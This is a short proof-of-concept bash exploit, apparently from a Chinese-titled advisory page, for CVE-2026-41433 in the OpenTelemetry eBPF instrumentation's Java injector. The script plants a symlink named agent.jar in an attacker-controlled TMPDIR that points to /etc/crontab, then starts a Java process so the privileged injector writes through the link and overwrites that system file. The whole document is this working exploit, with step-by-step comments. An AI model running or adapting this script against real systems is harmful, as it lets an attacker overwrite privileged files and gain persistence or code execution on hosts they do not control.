CVE-2026-41433 OpenTelemetry 任意文件覆盖

#!/bin/bash # PoC for CVE-2026-41433: Arbitrary File Overwrite via Symlink in OpenTelemetry eBPF # Preconditions: OBI is running with elevated privileges and Java injection is enabled. TARGET_FILE="/etc/crontab" ATTACKER_TMP_DIR="/tmp/poc_cve_2026_41433" # 1. Setup malicious environment mkdir -p "$ATTACKER_TMP_DIR" # 2. Create a symlink pointing to the target system file we want to overwrite # The injector expects to write a file here, but the symlink redirects the write ln -sf "$TARGET_FILE" "$ATTACKER_TMP_DIR/agent.jar" # 3. Execute Java workload with the manipulated TMPDIR # The attacker controls this workload export TMPDIR="$ATTACKER_TMP_DIR" java -jar target_app.jar & # 4. OBI detects the Java process, reads TMPDIR, and attempts to inject # Result: The content intended for agent.jar is written to /etc/crontab echo "[*] Exploit setup complete. Waiting for OBI injection..."